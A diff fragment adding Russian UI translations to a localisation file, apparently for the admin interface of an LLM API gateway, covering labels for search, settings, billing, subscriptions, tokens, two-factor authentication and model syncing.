+    "Save sidebar modules": "Сохранить модули боковой панели",
+    "Save SMTP settings": "Сохранить настройки SMTP",
+    "Save SSRF settings": "Сохранить настройки SSRF",
+    "Save Stripe settings": "Сохранить настройки Stripe",
+    "Save these backup codes in a safe place. Each code can only be used once.": "Сохраните эти резервные коды в безопасном месте. Каждый код может быть использован только один раз.",
+    "Save these codes in a safe place. Each code can only be used once.": "Сохраните эти коды в безопасном месте. Каждый код может быть использован только один раз.",
+    "Save tool prices": "Сохранить цены инструментов",
+    "Save Waffo Pancake settings": "Сохранить настройки Waffo Pancake",
+    "Save Worker settings": "Сохранить настройки Worker",
+    "Saved successfully": "Сохранено успешно",
+    "Saving...": "Сохранение...",
+    "Scan QR Code": "Сканировать QR-код",
+    "Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.": "Отсканируйте QR-код, откройте официальный аккаунт и ответьте «验证码», чтобы получить код подтверждения.",
+    "Scan the QR code with WeChat to bind your account": "Отсканируйте QR-код с помощью WeChat, чтобы привязать свою учетную запись",
+    "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)": "Отсканируйте этот QR-код с помощью вашего приложения-аутентификатора (Google Authenticator, Microsoft Authenticator и т.д.)",
+    "Scheduled channel tests": "Запланированные тесты канала",
+    "Scope": "Область",
+    "Scopes": "Области доступа",
+    "Search": "Поиск",
+    "Search by name or URL...": "Поиск по имени или URL...",
+    "Search by order number...": "Поиск по номеру заказа...",
+    "Search chat presets...": "Поиск предустановок чата...",
+    "Search colors...": "Поиск цветов...",
+    "Search conflicting models or fields": "Поиск конфликтующих моделей или полей",
+    "Search deployments...": "Поиск развертываний...",
+    "Search feature in development": "Функция поиска в разработке",
+    "Search group names...": "Поиск названий групп...",
+    "Search groups...": "Поиск групп...",
+    "Search missing models": "Поиск отсутствующих моделей",
+    "Search model name...": "Поиск имени модели...",
+    "Search models": "Поиск моделей",
+    "Search models or fields...": "Поиск моделей или полей...",
+    "Search models...": "Поиск моделей...",
+    "Search payment methods...": "Поиск способов оплаты...",
+    "Search payment types...": "Поиск типов оплаты...",
+    "Search products...": "Поиск продуктов...",
+    "Search tags...": "Поиск тегов...",
+    "Search vendors...": "Поиск поставщиков...",
+    "Search...": "Поиск...",
+    "seconds": "секунды",
+    "Secret env (JSON object)": "Секретные переменные окружения (объект JSON)",
+    "Secret environment variables (JSON)": "Секретные переменные окружения (JSON)",
+    "Secret Key": "Секретный ключ",
+    "Secure & Reliable": "Безопасно и надежно",
+    "Security": "Безопасность",
+    "Security Check": "Проверка безопасности",
+    "Security verification": "Подтверждение безопасности",
+    "Select": "Выбрать",
+    "Select a color": "Выбрать цвет",
+    "Select a group": "Выбрать группу",
+    "Select a group type": "Выбрать тип группы",
+    "Select a preset...": "Выберите предустановку...",
+    "Select a role": "Выбрать роль",
+    "Select a timestamp before clearing logs.": "Выберите временную метку перед очисткой журналов.",
+    "Select a usage mode to continue": "Выберите режим использования для продолжения",
+    "Select a verification method first": "Сначала выберите метод верификации",
+    "Select all": "Выбрать все",
+    "Select all (filtered)": "& Выбрать все отфильтрованные",
+    "Select all models": "Выбрать все модели",
+    "Select All Visible": "Выбрать все видимые",
+    "Select an operation mode and enter the amount": "Выберите режим операции и введите сумму",
+    "Select announcement type": "Выбрать тип объявления",
+    "Select at least one field to overwrite.": "Выберите хотя бы одно поле для перезаписи.",
+    "Select channel type": "Выбрать тип канала",
+    "Select currency": "Выберите валюту",
+    "Select date": "Выберите дату",
+    "Select display mode": "Выбрать режим отображения",
+    "Select end time": "Выбрать время окончания",
+    "Select from presets or type custom identifier.": "Выберите из предустановок или введите пользовательский идентификатор.",
+    "Select granularity": "Выбрать детализацию",
+    "Select groups (leave empty to keep current)": "Выбрать группы (оставьте пустым, чтобы сохранить текущие)",
+    "Select items...": "Выберите элементы...",
+    "Select key format": "Выберите формат ключа",
+    "Select Language": "Выбрать язык",
+    "Select layout style": "Выбрать стиль макета",
+    "Select locations": "Выбрать локации",
+    "Select Model": "Выбрать модель",
+    "Select models (empty for allow all)": "Выбрать модели (пусто для разрешения всех)",
+    "Select models and apply to channel models list.": "Выберите модели и примените к списку моделей каналов.",
+    "Select models or add custom ones": "Выбрать модели или добавить пользовательские",
+    "Select models to process. Unselected \"add\" models will be ignored.": "Выберите модели для обработки. Невыбранные модели «добавить» будут проигнорированы.",
+    "Select models to run batch tests.": "Выберите модели для запуска пакетных тестов.",
+    "Select or enter color value": "Выбрать или ввести значение цвета",
+    "Select or enter model name": "Выберите или введите имя модели",
+    "Select or enter payment type": "Выбрать или ввести тип оплаты",
+    "Select payment method": "Выберите способ оплаты",
+    "Select preset or enter custom CSS color value.": "Выберите предустановку или введите пользовательское значение цвета CSS.",
+    "Select publish date": "Выберите дату публикации",
+    "Select requirement": "Выбрать требование",
+    "Select row": "Выбрать строку",
+    "Select sidebar style": "Выбрать стиль боковой панели",
+    "Select site direction": "Выбрать направление сайта",
+    "Select start time": "Выбрать время начала",
+    "Select subscription plan": "Выбрать план подписки",
+    "Select Sync Channels": "Выбрать каналы синхронизации",
+    "Select sync channels to compare prices": "Выберите каналы синхронизации для сравнения цен",
+    "Select sync channels to compare ratios": "Выбрать каналы синхронизации для сравнения соотношений",
+    "Select Sync Source": "Выбрать источник синхронизации",
+    "Select the API endpoint region": "Выбрать регион конечной точки API",
+    "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.": "Выберите поля, которые вы хотите перезаписать данными из вышестоящего источника. Невыбранные поля сохранят свои локальные значения.",
+    "Select theme preference": "Выбрать предпочтение темы",
+    "Select time granularity": "Выбрать детализацию времени",
+    "Select vendor": "Выбрать поставщика",
+    "Selectable groups": "Выбираемые группы",
+    "selected": "выбрано",
+    "selected channel(s). Leave empty to remove tag.": "выбранный канал(ы). Оставьте пустым, чтобы удалить тег.",
+    "Selected conflicts were overwritten successfully.": "Выбранные конфликты успешно перезаписаны.",
+    "Self-Use Mode": "Режим самоиспользования",
+    "Send": "Отправить",
+    "Send code": "Отправить код",
+    "Send email alerts when a user falls below this quota": "Отправлять оповещения по электронной почте, когда пользователь опускается ниже этой квоты",
+    "Sending...": "Отправка...",
+    "Sensitive Words": "Чувствительные слова",
+    "Sent the API key to FluentRead.": "API-ключ отправлен в FluentRead.",
+    "Serve multiple users or teams with billing and quota control.": "Обслуживание нескольких пользователей или команд с управлением биллингом и квотами.",
+    "Server Address": "Адрес сервера",
+    "Server IP": "IP сервера",
+    "Server Log Management": "Управление журналами сервера",
+    "Server logging is not enabled (log directory not configured)": "Журналирование сервера не включено (каталог журналов не настроен)",
+    "Server Token": "Токен сервера",
+    "Service account JSON file(s)": "JSON-файл сервисного аккаунта",
+    "Session expired!": "Сессия истекла!",
+    "Session expired?": "Сессия истекла?",
+    "Set": "Установить",
+    "Set a discount rate for a specific recharge amount threshold.": "Установите ставку скидки для определенного порога суммы пополнения.",
+    "Set a secure password (min. 8 characters)": "Установите надежный пароль (минимум 8 символов)",
+    "Set a tag for": "Установить тег для",
+    "Set filters to customize your dashboard statistics and charts.": "Установите фильтры, чтобы настроить статистику и диаграммы вашей панели управления.",
+    "Set filters to narrow down your log search results.": "Установите фильтры, чтобы сузить результаты поиска по журналам.",
+    "Set API key access restrictions": "Настройте ограничения доступа API-ключа",
+    "Set API key basic information": "Настройте основные сведения API-ключа",
+    "Set Header": "Установить заголовок",
+    "Set Project to io.cloud when creating/selecting key": "Установите Проект в io.cloud при создании/выборе ключа",
+    "Set quota amount and limits": "Настройте квоту и лимиты",
+    "Set Tag": "Установить тег",
+    "Set tag for selected channels": "Установить тег для выбранных каналов",
+    "Set the user's role (cannot be Root)": "Установить роль пользователя (не может быть Root)",
+    "Setting saved": "Настройка сохранена",
+    "Setting up 2FA...": "Настройка 2FA...",
+    "Setting updated successfully": "Настройка успешно обновлена",
+    "Settings": "Настройки",
+    "Settings & Preferences": "Настройки и предпочтения",
+    "Settings updated successfully": "Настройки успешно обновлены",
+    "Setup Instructions": "Инструкции по настройке",
+    "Setup Two-Factor Authentication": "Настроить двухфакторную аутентификацию",
+    "Share your link and earn rewards": "Поделитесь своей ссылкой и получайте вознаграждения",
+    "Shared configuration for all payment gateways": "Общая конфигурация для всех платежных шлюзов",
+    "Shorten": "Сократить",
+    "Show": "Показать",
+    "Show All": "Показать все",
+    "Show all providers including unbound": "Показать всех провайдеров (включая непривязанные)",
+    "Show only bound providers": "Показать только привязанных провайдеров",
+    "Show prices in currency instead of quota.": "Показывать цены в валюте вместо квоты.",
+    "Show token usage statistics in the UI": "Показывать статистику использования токенов в пользовательском интерфейсе",
+    "Showcase core capabilities with demo credentials and limited access.": "Демонстрация основных возможностей с демо-учётными данными и ограниченным доступом.",
+    "Showing": "Отображать",
+    "showing •": "отображается •",
+    "Sidebar": "Боковая панель",
+    "Sidebar collapsed by default for new users": "Боковая панель свернута по умолчанию для новых пользователей",
+    "Sidebar modules": "Модули боковой панели",
+    "Sidebar Personal Settings": "Личные настройки боковой панели",
+    "Sign in": "Войти",
+    "Sign In": "Войти",
+    "Sign in with Passkey": "Войти с Passkey",
+    "Sign out": "Выйти",
+    "Sign up": "Регистрация",
+    "Signed in": "Вход выполнен",
+    "Signed in successfully!": "Успешный вход!",
+    "Signed in via WeChat": "Вошли через WeChat",
+    "Signed in with Passkey": "Вошли с помощью Passkey",
+    "Signed out": "Выход выполнен",
+    "Signing you in with {{provider}}": "Входим через {{provider}}",
+    "SiliconFlow": "SiliconFlow",
+    "Single Key": "Одиночный ключ",
+    "Site Key": "Ключ сайта",
+    "Size:": "Размер:",
+    "sk_xxx or rk_xxx": "sk_xxx или rk_xxx",
+    "Skip retry on failure": "Не повторять при ошибке",
+    "Skip to Main": "Перейти к основному содержимому",
+    "Slug": "Идентификатор",
+    "Slug can only contain letters, numbers, hyphens, and underscores": "Slug может содержать только буквы, цифры, дефисы и подчёркивания",
+    "Slug is required": "Slug обязателен",
+    "Slug must be less than 100 characters": "Slug должен содержать менее 100 символов",
+    "Smallest USD amount users can recharge (Epay)": "Минимальная сумма в USD, которую пользователи могут пополнить (Epay)",
+    "SMTP Email": "Электронная почта SMTP",
+    "SMTP Host": "Хост SMTP",
+    "smtp.example.com": "smtp.example.com",
+    "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+    "Soft Errors": "Мягкие ошибки",
+    "Some channels failed: {{errorMsg}}": "Некоторые каналы не удались: {{errorMsg}}",
+    "Something went wrong!": "Что-то пошло не так!",
+    "Sonnet Model": "Модель Sonnet",
+    "Sora": "Sora",
+    "Sort": "Сортировать",
+    "Sort by ID": "Сортировать по ID",
+    "Sort Order": "Порядок сортировки",
+    "Source": "Источник",
+    "sources": "источники",
+    "Space-separated OAuth scopes": "Области доступа OAuth, разделенные пробелами",
+    "Spark model version, e.g., v2.1 (version number in API URL)": "Версия модели Spark, например, v2.1 (номер версии в URL API)",
+    "Special usable group rules": "Специальные правила для групп с доступом",
+    "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.": "SQLite хранит все данные в одном файле. Убедитесь, что файл сохраняется при работе в контейнерах.",
+    "SSRF Protection": "Защита от SSRF",
+    "Standard": "Стандартный",
+    "Start": "Начало",
+    "Start a conversation to see messages here": "Начните разговор, чтобы увидеть сообщения здесь",
+    "Start for free with generous limits. No credit card required.": "Начните бесплатно с щедрыми лимитами. Кредитная карта не требуется.",
+    "Start Time": "Время начала",
+    "Static page describing the platform.": "Статическая страница, описывающая платформу.",
+    "Statistical count": "Статистический подсчет",
+    "Statistical quota": "Статистическая квота",
+    "Statistical tokens": "Статистические токены",
+    "Statistics reset": "Статистика сброшена",
+    "Status": "Статус",
+    "Status & Sync": "Статус и синхронизация",
+    "Status Code Mapping": "Сопоставление кодов состояния",
+    "Status Page Slug": "Slug страницы статуса",
+    "Status:": "Статус:",
+    "Stay": "Остаться",
+    "Stay tuned though!": "Оставайтесь на связи!",
+    "Step": "Шаг",
+    "Stop": "Остановить",
+    "Store ID": "ID магазина",
+    "Store ID is required": "Требуется ID магазина",
+    "Stored value is not echoed back for security": "В целях безопасности сохранённое значение не отображается",
+    "stream": "Поток",
+    "Stream": "Поток",
+    "Stream Mode": "Потоковый режим",
+    "Stream Status": "Статус потока",
+    "Stripe": "Stripe",
+    "Stripe API key (leave blank unless updating)": "Ключ API Stripe (оставьте пустым, если не обновляете)",
+    "Stripe Dashboard": "Панель управления Stripe",
+    "Stripe Gateway": "Шлюз Stripe",
+    "Stripe product price ID": "ID цены продукта Stripe",
+    "Stripe/Creem requires creating products on the third-party platform and entering the ID": "Stripe/Creem требует создания продуктов на сторонней платформе и ввода ID",
+    "Submit": "Отправить",
+    "Submit directly": "Отправить напрямую",
+    "Submit Result": "Отправить результат",
+    "Submit Time": "Время отправки",
+    "Submitted": "Отправлено",
+    "Submitting": "Отправка",
+    "Submitting...": "Отправка...",
+    "Submodel": "Submodel",
+    "Subscribe Now": "Подписаться сейчас",
+    "Subscription": "Подписка",
+    "Subscription Billing": "Биллинг подписки",
+    "Subscription First": "Подписка в приоритете",
+    "Subscription Management": "Управление подписками",
+    "Subscription Only": "Только подписка",
+    "Subscription Plans": "Планы подписки",
+    "Subtract": "Вычесть",
+    "Success": "Успешно",
+    "Successfully created {{count}} API Key(s)": "Успешно создано {{count}} API-ключ(а/ей)",
+    "Successfully created {{count}} redemption codes": "Успешно создано {{count}} кодов активации",
+    "Successfully deleted {{count}} API key(s)": "Успешно удалено {{count}} API-ключ(а/ей)",
+    "Successfully deleted {{count}} invalid redemption codes": "Успешно удалено {{count}} недействительных кодов активации",
+    "Successfully deleted {{count}} model(s)": "Успешно удалено {{count}} моделей",
+    "Successfully disabled {{count}} model(s)": "Успешно отключено {{count}} моделей",
+    "Successfully enabled {{count}} model(s)": "Успешно включено {{count}} моделей",
+    "Suffix": "Суффикс",
+    "Suffix Match": "Совпадение по суффиксу",
+    "SunoAPI": "SunoAPI",
+    "Super Admin": "Суперадмин",
+    "Support for high concurrency with automatic load balancing": "Поддержка высокой конкурентности с автоматической балансировкой нагрузки",
+    "Supported Imagine Models": "Поддерживаемые модели Imagine",
+    "Supports `-thinking`, `-thinking-": "Поддерживает `-thinking`, `-thinking-",
+    "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.": "Поддерживает HTML-разметку или встраивание iframe. Введите HTML-код напрямую или укажите полный URL для автоматического встраивания в виде iframe.",
+    "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.": "Поддерживаются PNG, JPG, SVG или WebP. Рекомендуемый размер: 128×128 или меньше.",
+    "Swap Face": "Замена лица",
+    "Switch affinity on success": "Переключить привязку при успехе",
+    "Switch between the new frontend and the classic frontend. Changes take effect after page reload.": "Переключение между новым и классическим интерфейсом. Изменения вступают в силу после перезагрузки страницы.",
+    "Switch to JSON": "Переключиться на JSON",
+    "Switch to Visual": "Переключиться на визуальный режим",
+    "Sync Endpoint": "Конечная точка синхронизации",
+    "Sync Fields": "Поля синхронизации",
+    "Sync from the public upstream metadata repository.": "Синхронизировать из публичного репозитория метаданных верхнего уровня.",
+    "Sync this model with official upstream": "Синхронизировать эту модель с официальным upstream",
+    "Sync Upstream": "Синхронизировать Upstream",
+    "Sync Upstream Models": "Синхронизировать модели Upstream",
+    "Synchronize models and vendors from an upstream source": "Синхронизировать модели и поставщиков из upstream источника",
+    "Syncing prices, please wait...": "Синхронизация цен, подождите...",
+    "System": "Система",
+    "System Administration": "Администрирование системы",
+    "System Announcements": "Системные объявления",
+    "System Behavior": "Поведение системы",
+    "System data statistics": "Статистика системных данных",
+    "System Information": "Системная информация",
+    "System initialized successfully! Redirecting…": "Система успешно инициализирована! Перенаправление…",
+    "System logo": "Логотип системы",
+    "System maintenance": "Обслуживание системы",
+    "System Memory": "Системная память",
+    "System Memory Stats": "Статистика системной памяти",
+    "System Name": "Название системы",
+    "System name is required": "Название системы обязательно",
+    "System Notice": "Системные объявления",
+    "System Performance Monitoring": "Мониторинг производительности системы",
+    "System Prompt": "Системное приглашение",
+    "System Prompt Concatenation": "Конкатенация системных промптов",
+    "System Prompt Override": "Переопределение системного промпта",
+    "System settings": "Системные настройки",
+    "System Settings": "Настройки системы",
+    "System setup wizard": "Мастер настройки системы",
+    "System task records": "Записи системных задач",
+    "System Version": "Версия системы",
+    "Table view": "Вид таблицы",
+    "Tag": "Тег",
+    "Tag Aggregate": "Агрегация тегов",
+    "Tag Mode": "Режим тегов",
+    "Tag Name": "Название метки",
+    "Tag set successfully": "Тег успешно установлен",
+    "Tag updated successfully": "Тег успешно обновлён",
+    "Tag:": "Тег:",
+    "Tags": "Теги",
+    "Take photo": "Сделать фото",
+    "Take screenshot": "Сделать скриншот",
+    "Target group": "Целевая группа",
+    "Task": "Задача",
+    "Task ID": "ID задачи",
+    "Task ID:": "ID задачи:",
+    "Task logs": "Журналы задач",
+    "Task Logs": "Журнал задач",
+    "Team Collaboration": "Совместная работа в команде",
+    "Technical Support": "Техническая поддержка",
+    "Telegram": "Telegram",
+    "Telegram login requires widget integration; coming soon": "Вход через Telegram требует интеграции виджета; скоро",
+    "Telegram Login Widget": "Виджет входа Telegram",
+    "Template variables:": "Переменные шаблона:",
+    "Templates": "Шаблоны",
+    "Templates appended": "Шаблоны добавлены",
+    "Tencent": "Tencent",
+    "Termination requested": "Запрошено завершение",
+    "Test All Channels": "Проверить все каналы",
+    "Test Channel Connection": "Проверить подключение канала",
+    "Test Connection": "Проверить подключение",
+    "Test connectivity for:": "Проверить подключение для:",
+    "Test interval (minutes)": "Интервал проверки (минуты)",
+    "Test Latency": "Проверить задержку",
+    "Test Mode": "Тестовый режим",
+    "Test Model": "Проверить модель",
+    "Testing all enabled channels started. Please refresh to see results.": "Тестирование всех включенных каналов начато. Пожалуйста, обновите страницу, чтобы увидеть результаты.",
+    "Testing...": "Тестирование...",
+    "Text Input": "Текстовый вход",
+    "Text Output": "Текстовый выход",
+    "Text to Video": "Текст в видео",
+    "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.": "Учетная запись администратора уже инициализирована. Вы можете сохранить существующие учетные данные и перейти к следующему шагу.",
+    "The administrator configured an external link for this document.": "Администратор настроил внешнюю ссылку для этого документа.",
+    "The administrator has not configured a privacy policy yet.": "Администратор ещё не настроил политику конфиденциальности.",
+    "The administrator has not configured a user agreement yet.": "Администратор ещё не настроил пользовательское соглашение.",
+    "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.": "Администратор еще не настроил содержимое раздела «О программе». Вы можете установить его на странице настроек, поддерживается HTML или URL.",
+    "The binding will complete automatically after authorization": "Привязка завершится автоматически после авторизации",
+    "The effective domain for Passkey registration. Must match the current domain or be its parent domain.": "Действующий домен для регистрации Passkey. Должен совпадать с текущим доменом или быть его родительским доменом.",
+    "The exact model identifier as used in API requests.": "Точный идентификатор модели, используемый в запросах API.",
+    "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.": "Следующие модели имеют конфликты типов тарификации (фиксированная цена против тарификации по соотношению). Подтвердите, чтобы продолжить изменения.",
+    "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:": "Следующие модели в перенаправлении модели не были добавлены в список \"Модели\" и могут не работать при вызове из-за отсутствия доступных моделей:",
+    "The mapped upstream model(s)": "Сопоставленные upstream модель(и)",
+    "The model you're looking for doesn't exist.": "Модель, которую вы ищете, не существует.",
+    "The name displayed across the application": "Имя, отображаемое в приложении",
+    "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations": "Публичный URL вашего сервера, используемый для OAuth-перенаправлений, вебхуков и других внешних интеграций",
+    "The requested chat preset does not exist or has been removed.": "Запрошенный предустановленный чат не существует или был удален.",
+    "The setup wizard will use this database during initialization.": "Мастер настройки будет использовать эту базу данных при инициализации.",
+    "The site is not available at the moment.": "Сайт в данный момент недоступен.",
+    "The slug is appended to the URL:": "Слаг добавляется к URL:",
+    "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.": "Синхронизация получит отсутствующие модели и поставщиков из выбранного источника. Существующие записи обновляются только после подтверждения конфликтов.",
+    "The token group that will have a custom ratio": "Группа токенов, которая будет иметь пользовательское соотношение",
+    "The unique identifier for this model": "Уникальный идентификатор для этой модели",
+    "The unique name for this vendor": "Уникальное имя для этого поставщика",
+    "The URL for this chat client.": "URL для этого чат-клиента.",
+    "Theme": "Тема",
+    "Theme Settings": "Настройки темы",
+    "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?": "Есть модели для добавления и удаления, но вы выбрали только один тип. Подтвердить отправку только выбранных элементов?",
+    "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.": "Эти имена всё ещё отмечены в выборе, но не возвращены в списке upstream; ключи только как источники model_mapping исключены. Скорректируйте выбор перед сохранением.",
+    "These toggles affect whether certain request fields are passed through to the upstream provider.": "Эти переключатели влияют на то, передаются ли определенные поля запроса вышестоящему поставщику.",
+    "Thinking Adapter": "Адаптер мышления",
+    "Thinking to Content": "Мышление в контент",
+    "Third-party account bindings (read-only, managed by user in profile settings)": "Привязки сторонних учетных записей (только для чтения, управляется пользователем в настройках профиля)",
+    "Third-party Payment Config": "Настройка стороннего платежа",
+    "This action cannot be undone.": "Это действие невозможно отменить.",
+    "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.": "Это действие невозможно отменить. Это безвозвратно удалит вашу учетную запись и все ваши данные с наших серверов.",
+    "This action will permanently remove 2FA protection from your account.": "Это действие безвозвратно удалит защиту 2FA из вашей учетной записи.",
+    "This channel is not an Ollama channel.": "Этот канал не является каналом Ollama.",
+    "This channel type does not support fetching models": "Этот тип канала не поддерживает получение моделей",
+    "This data may be unreliable, use with caution": "Эти данные могут быть ненадежными, используйте с осторожностью",
+    "This device does not support Passkey": "Это устройство не поддерживает Passkey",
+    "This device does not support Passkey verification.": "Это устройство не поддерживает проверку с помощью Passkey.",
+    "This expression is too complex for the visual editor. Please switch to expression mode to edit.": "Для визуального редактора это выражение слишком сложно. Переключитесь в режим выражения для правки.",
+    "This feature is experimental. Configuration format and behavior may change.": "Эта функция является экспериментальной. Формат конфигурации и поведение могут измениться.",
+    "This feature requires server-side WeChat configuration": "Эта функция требует серверной конфигурации WeChat",
+    "This may cause cache failures.": "Это может привести к сбоям кэша.",
+    "This may take a few moments while we validate the request and update your session.": "Это может занять несколько мгновений, пока мы проверяем запрос и обновляем вашу сессию.",
+    "This model has both fixed price and ratio billing conflicts": "Эта модель имеет конфликты как фиксированной цены, так и пропорциональной тарификации",
+    "This model is not available in any group, or no group pricing information is configured.": "Эта модель недоступна ни в одной группе, или информация о ценах для групп не настроена.",
+    "This month": "В этом месяце",
+    "This page has not been created yet.": "Эта страница еще не создана.",
+    "This project must be used in compliance with the": "Этот проект должен использоваться в соответствии с",
+    "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.": "Запись создана экземпляром до обновления и не содержит сведений аудита. Обновите экземпляр, чтобы фиксировать IP сервера, IP callback, способ оплаты и версию ОС.",
+    "this token group": "эта группа токенов",
+    "this user group": "эта группа пользователей",
+    "This user has no bindings": "У этого пользователя нет привязок",
+    "This week": "На этой неделе",
+    "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.": "Это добавит 2 шаблонных правила (Codex CLI и Claude CLI) к существующему списку правил.",
+    "This will clear custom pricing ratios and revert to upstream defaults.": "Это очистит пользовательские ценовые коэффициенты и вернет к стандартным значениям поставщика.",
+    "This will delete all": "Это удалит все",
+    "This will delete all channel affinity cache entries still in memory.": "Это удалит все записи кэша привязки каналов из памяти.",
+    "This will delete temporary cache files that have not been used for more than 10 minutes": "Будут удалены временные файлы кэша, не использовавшиеся более 10 минут",
+    "This will extend the deployment by the specified hours.": "Это продлит развертывание на указанное количество часов.",
+    "This will permanently delete API key": "Это безвозвратно удалит ключ API",
+    "This will permanently delete redemption code": "Это безвозвратно удалит код активации",
+    "This will permanently delete user": "Это безвозвратно удалит пользователя",
+    "This will permanently remove all log entries created before {{date}}.": "Это безвозвратно удалит все записи журнала, созданные до {{date}}.",
+    "This will permanently remove log entries before the selected timestamp.": "Это безвозвратно удалит записи журнала до выбранной временной метки.",
+    "Three steps to get started": "Три шага для начала работы",
+    "Tier": "Уровень",
+    "Tier name": "Название уровня",
+    "Tiered": "Ступенчато",
+    "Tiered (billing expression)": "Ступенчато (платёжное выражение)",
+    "Tiered price table": "Тариф по уровням",
+    "Time": "Время",
+    "Time Granularity": "Гранулярность времени",
+    "Time remaining": "Осталось времени",
+    "Time window for rate limiting": "Временное окно для ограничения скорости запросов",
+    "Time-based": "Зависит от времени",
+    "Time:": "Время:",
+    "Timed cache (1h)": "Кэш с TTL (1 ч)",
+    "Timeline": "Хронология",
+    "times": "раз",
+    "Timing": "Время",
+    "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.": "Подсказка: сгенерированный ключ — это учётные данные JSON с access_token / refresh_token / account_id.",
+    "to access this resource.": "для доступа к этому ресурсу.",
+    "to confirm": "для подтверждения",
+    "To Lower": "В нижний регистр",
+    "to override billing when a user in one group uses a token of another group.": "для переопределения выставления счетов, когда пользователь одной группы использует токен другой группы.",
+    "to the Models list so users can use them before the mapping sends traffic upstream.": "в список моделей, чтобы пользователи могли использовать их до того, как сопоставление отправит трафик выше по течению.",
+    "To Upper": "В верхний регистр",
+    "to view this resource.": "для просмотра этого ресурса.",
+    "Today": "Сегодня",
+    "Toggle columns": "Переключить столбцы",
+    "Toggle navigation menu": "Переключить меню навигации",
+    "Toggle plan": "Переключить план",
+    "Toggle theme": "Переключить тему",
+    "Token": "Токен",
+    "Token Breakdown": "Детализация токенов",
+    "Token Endpoint": "Конечная точка токена",
+    "Token Endpoint (Optional)": "Конечная точка токена (необязательно)",
+    "Token estimator": "Оценка токенов",
+    "Token management": "Управление токенами",
+    "Token Management": "Управление токенами",
+    "Token Mgmt": "Управление токенами",
+    "Token Name": "Имя токена",
+    "Token obtained from your Gotify application": "Токен, полученный из вашего приложения Gotify",
+    "Token regenerated and copied to clipboard": "Токен перегенерирован и скопирован в буфер обмена",
+    "Token unit": "Единица токенов",
+    "Token-based": "На основе токенов",
+    "tokens": "токены",
+    "Tokens": "Токены",
+    "Tokens Only": "Только токены",
+    "Tokens per minute": "Токенов в минуту",
+    "Tokens-only mode will show raw quota values regardless of this toggle.": "Режим «только токены» будет показывать необработанные значения квот независимо от этого переключателя.",
+    "Too many files. Some were not added.": "Слишком много файлов. Некоторые не были добавлены.",
+    "Tool identifier": "Идентификатор инструмента",
+    "Tool price settings": "Настройки цен на инструменты",
+    "Tool prices": "Цены инструментов",
+    "Top {{count}}": "Топ {{count}}",
+    "Top Models": "Лучшие модели",
+    "Top Users": "Лучшие пользователи",
+    "Top up balance and view billing history.": "Пополнить баланс и просмотреть историю платежей.",
+    "Top-up": "Пополнение",
+    "Top-up amount options": "Варианты суммы пополнения",
+    "Top-up Audit Info": "Аудит пополнений",
+    "Top-up group ratios": "Коэффициенты групп пополнения",
+    "Top-Up Link": "Ссылка для пополнения",
+    "top-up ratio": "коэффициент пополнения",
+    "Topup Amount": "Сумма пополнения",
+    "Total": "Всего",
+    "Total Allocated": "Всего выделено",
+    "Total check-ins": "Общая проверка",
+    "Total consumed": "Всего использовано",
+    "Total consumed quota": "Всего использованной квоты",
+    "Total cost": "Общая стоимость",
+    "Total Cost": "Общая стоимость",
+    "Total Count": "Общее количество",
+    "Total earned": "Итого заработано",
+    "Total Earned": "Всего заработано",
+    "Total GPUs": "Всего GPU",
+    "Total invitation revenue": "Общий доход от приглашений",
+    "Total Log Size": "Общий размер журналов",
+    "Total Quota": "Общая квота",
+    "Total requests allowed per period. 0 = unlimited.": "Общее количество запросов, разрешенных за период. 0 = без ограничений.",
+    "Total requests made": "Всего сделанных запросов",
+    "Total Tokens": "Всего токенов",
+    "Total Usage": "Общее использование",
+    "Total:": "Всего:",
+    "TPM": "TPM",
+    "Track per-request consumption to power usage analytics. Keeping this on increases database writes.": "Отслеживать потребление для каждого запроса для аналитики использования. Сохранение этой опции увеличивает количество записей в базу данных.",
+    "Track usage, costs and performance with real-time analytics": "Отслеживайте использование, затраты и производительность с помощью аналитики в реальном времени",
+    "Tracks current account base limits and additional metered usage on Codex upstream.": "Отслеживает базовые лимиты и дополнительное потребление (metered) аккаунта на стороне Codex.",
+    "Transfer": "Перевод",
+    "Transfer Amount": "Сумма перевода",
+    "Transfer failed": "Перевод не удался",
+    "Transfer Rewards": "Перевести награды",
+    "Transfer successful": "Перевод успешен",
+    "Transfer to Balance": "Перевести на баланс",
+    "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.": "Преобразовывать суффиксы `-thinking` в собственные модели мышления Anthropic, сохраняя при этом предсказуемость ценообразования.",
+    "Transparent Billing": "Прозрачная тарификация",
+    "Trim Prefix": "Удалить префикс",
+    "Trim Space": "Удалить пробелы",
+    "Trim Suffix": "Удалить суффикс",
+    "Trusted": "Доверенный",
+    "Try adjusting your search to locate a missing model.": "Попробуйте изменить параметры поиска, чтобы найти отсутствующую модель.",
+    "TTL": "TTL",
+    "TTL (seconds, 0 = default)": "TTL (секунды, 0 = по умолчанию)",
+    "TTL (seconds)": "TTL (секунды)",
+    "Turnstile is enabled but site key is empty.": "Turnstile включён, но ключ сайта пуст.",
+    "Two-factor Authentication": "Двухфакторная аутентификация",
+    "Two-Factor Authentication": "Двухфакторная аутентификация",
+    "Two-factor authentication disabled": "Двухфакторная аутентификация отключена",
+    "Two-factor authentication enabled successfully!": "Двухфакторная аутентификация успешно включена!",
+    "Two-factor authentication reset": "Двухфакторная аутентификация сброшена",
+    "Two-Step Verification": "Двухэтапная проверка",
